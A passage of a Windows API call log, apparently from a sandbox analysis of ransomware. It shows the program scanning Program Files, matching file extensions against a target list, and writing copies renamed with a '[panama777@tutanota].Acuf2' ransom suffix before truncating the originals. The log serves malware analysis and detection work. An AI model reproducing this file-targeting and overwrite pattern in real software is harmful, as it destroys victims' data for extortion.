	[0249.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.601] lstrlenW (lpString=".dbf") returned 4
	[0249.601] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.601] lstrlenW (lpString=".1cd") returned 4
	[0249.601] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.601] lstrlenW (lpString=".jpg") returned 4
	[0249.601] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.601] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0249.601] lstrlenW (lpString="boxed-join.avi") returned 14
	[0249.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.602] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=33280) returned 1
	[0249.602] CloseHandle (hObject=0x2a0) returned 1
	[0249.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0249.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.602] lstrlenW (lpString=".doc") returned 4
	[0249.602] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.602] lstrlenW (lpString=".docx") returned 5
	[0249.602] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0249.602] lstrlenW (lpString=".pdf") returned 4
	[0249.602] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.602] lstrlenW (lpString=".xls") returned 4
	[0249.602] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.602] lstrlenW (lpString=".xlsx") returned 5
	[0249.602] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0249.602] lstrlenW (lpString=".ppt") returned 4
	[0249.602] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.602] lstrlenW (lpString=".zip") returned 4
	[0249.602] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.602] lstrlenW (lpString=".rar") returned 4
	[0249.602] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.602] lstrlenW (lpString=".bz2") returned 4
	[0249.602] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.602] lstrlenW (lpString=".7z") returned 3
	[0249.602] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.603] lstrlenW (lpString=".dbf") returned 4
	[0249.603] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.603] lstrlenW (lpString=".1cd") returned 4
	[0249.603] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.603] lstrlenW (lpString=".jpg") returned 4
	[0249.603] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.603] lstrlenW (lpString=".doc") returned 4
	[0249.603] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.603] lstrlenW (lpString=".docx") returned 5
	[0249.603] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0249.603] lstrlenW (lpString=".pdf") returned 4
	[0249.603] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.603] lstrlenW (lpString=".xls") returned 4
	[0249.603] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.603] lstrlenW (lpString=".xlsx") returned 5
	[0249.603] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0249.603] lstrlenW (lpString=".ppt") returned 4
	[0249.603] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.603] lstrlenW (lpString=".zip") returned 4
	[0249.603] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.603] lstrlenW (lpString=".rar") returned 4
	[0249.603] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.603] lstrlenW (lpString=".bz2") returned 4
	[0249.603] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.604] lstrlenW (lpString=".7z") returned 3
	[0249.604] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.604] lstrlenW (lpString=".dbf") returned 4
	[0249.604] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.604] lstrlenW (lpString=".1cd") returned 4
	[0249.604] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0249.604] lstrlenW (lpString=".jpg") returned 4
	[0249.604] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.604] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0249.604] lstrlenW (lpString="boxed-split.avi") returned 15
	[0249.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.604] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=62976) returned 1
	[0249.604] CloseHandle (hObject=0x2a0) returned 1
	[0249.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0249.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.605] lstrlenW (lpString=".doc") returned 4
	[0249.605] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.605] lstrlenW (lpString=".docx") returned 5
	[0249.605] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0249.605] lstrlenW (lpString=".pdf") returned 4
	[0249.605] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.605] lstrlenW (lpString=".xls") returned 4
	[0249.605] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.605] lstrlenW (lpString=".xlsx") returned 5
	[0249.605] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0249.605] lstrlenW (lpString=".ppt") returned 4
	[0249.605] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.605] lstrlenW (lpString=".zip") returned 4
	[0249.605] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.605] lstrlenW (lpString=".rar") returned 4
	[0249.605] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.605] lstrlenW (lpString=".bz2") returned 4
	[0249.605] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.605] lstrlenW (lpString=".7z") returned 3
	[0249.605] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.605] lstrlenW (lpString=".dbf") returned 4
	[0249.605] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.605] lstrlenW (lpString=".1cd") returned 4
	[0249.605] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.605] lstrlenW (lpString=".jpg") returned 4
	[0249.605] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.606] lstrlenW (lpString=".doc") returned 4
	[0249.606] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.606] lstrlenW (lpString=".docx") returned 5
	[0249.606] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0249.606] lstrlenW (lpString=".pdf") returned 4
	[0249.606] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.606] lstrlenW (lpString=".xls") returned 4
	[0249.606] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.606] lstrlenW (lpString=".xlsx") returned 5
	[0249.606] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0249.606] lstrlenW (lpString=".ppt") returned 4
	[0249.606] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.606] lstrlenW (lpString=".zip") returned 4
	[0249.606] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.606] lstrlenW (lpString=".rar") returned 4
	[0249.606] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.606] lstrlenW (lpString=".bz2") returned 4
	[0249.606] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.606] lstrlenW (lpString=".7z") returned 3
	[0249.606] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.606] lstrlenW (lpString=".dbf") returned 4
	[0249.606] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.606] lstrlenW (lpString=".1cd") returned 4
	[0249.606] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0249.606] lstrlenW (lpString=".jpg") returned 4
	[0249.606] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.607] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0249.607] lstrlenW (lpString="correct.avi") returned 11
	[0249.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.607] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=197120) returned 1
	[0249.607] CloseHandle (hObject=0x2a0) returned 1
	[0249.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0249.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.607] lstrlenW (lpString=".doc") returned 4
	[0249.607] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.607] lstrlenW (lpString=".docx") returned 5
	[0249.607] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0249.607] lstrlenW (lpString=".pdf") returned 4
	[0249.607] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.607] lstrlenW (lpString=".xls") returned 4
	[0249.607] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.607] lstrlenW (lpString=".xlsx") returned 5
	[0249.608] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0249.608] lstrlenW (lpString=".ppt") returned 4
	[0249.608] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.608] lstrlenW (lpString=".zip") returned 4
	[0249.608] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.608] lstrlenW (lpString=".rar") returned 4
	[0249.608] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.608] lstrlenW (lpString=".bz2") returned 4
	[0249.608] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.608] lstrlenW (lpString=".7z") returned 3
	[0249.608] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.608] lstrlenW (lpString=".dbf") returned 4
	[0249.608] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.608] lstrlenW (lpString=".1cd") returned 4
	[0249.608] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.608] lstrlenW (lpString=".jpg") returned 4
	[0249.608] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.608] lstrlenW (lpString=".doc") returned 4
	[0249.608] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.608] lstrlenW (lpString=".docx") returned 5
	[0249.608] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0249.608] lstrlenW (lpString=".pdf") returned 4
	[0249.608] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.609] lstrlenW (lpString=".xls") returned 4
	[0249.609] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.609] lstrlenW (lpString=".xlsx") returned 5
	[0249.609] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0249.609] lstrlenW (lpString=".ppt") returned 4
	[0249.609] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.609] lstrlenW (lpString=".zip") returned 4
	[0249.609] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.609] lstrlenW (lpString=".rar") returned 4
	[0249.609] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.609] lstrlenW (lpString=".bz2") returned 4
	[0249.609] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.609] lstrlenW (lpString=".7z") returned 3
	[0249.609] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.609] lstrlenW (lpString=".dbf") returned 4
	[0249.609] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.609] lstrlenW (lpString=".1cd") returned 4
	[0249.609] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68
	[0249.609] lstrlenW (lpString=".jpg") returned 4
	[0249.609] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.609] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0249.609] lstrlenW (lpString="delete.avi") returned 10
	[0249.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.610] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=224256) returned 1
	[0249.610] CloseHandle (hObject=0x2a0) returned 1
	[0249.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
	[0249.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67
	[0249.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67
	[0249.611] lstrlenW (lpString=".doc") returned 4
	[0249.611] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.611] lstrlenW (lpString=".docx") returned 5
	[0249.611] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0249.611] lstrlenW (lpString=".pdf") returned 4
	[0249.611] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.611] lstrlenW (lpString=".xls") returned 4
	[0249.611] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.611] lstrlenW (lpString=".xlsx") returned 5
	[0249.611] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0249.611] lstrlenW (lpString=".ppt") returned 4
	[0249.611] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67
	[0249.611] lstrlenW (lpString=".zip") returned 4
	[0249.611] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.611] lstrlenW (lpString=".rar") returned 4
	[0249.611] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.611] lstrlenW (lpString=".bz2") returned 4
	[0249.611] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.611] lstrlenW (lpString=".7z") returned 3
	[0249.611] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.492] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=237226) returned 1
	[0251.492] CloseHandle (hObject=0x28c) returned 1
	[0251.492] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20
	[0251.492] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0251.492] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0252.067] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0252.078] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0253.331] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.331] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0253.451] GetLastError () returned 0x0
	[0253.451] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1fa1, lpOverlapped=0x0) returned 1
	[0253.511] WriteFile (in: hFile=0x330, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1fb0, lpOverlapped=0x0) returned 1
	[0253.512] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.512] WriteFile (in: hFile=0x330, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0253.512] SetEndOfFile (hFile=0x330) returned 1
	[0253.525] CloseHandle (hObject=0x330) returned 1
	[0253.525] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.525] SetEndOfFile (hFile=0x328) returned 1
	[0253.586] CloseHandle (hObject=0x328) returned 1
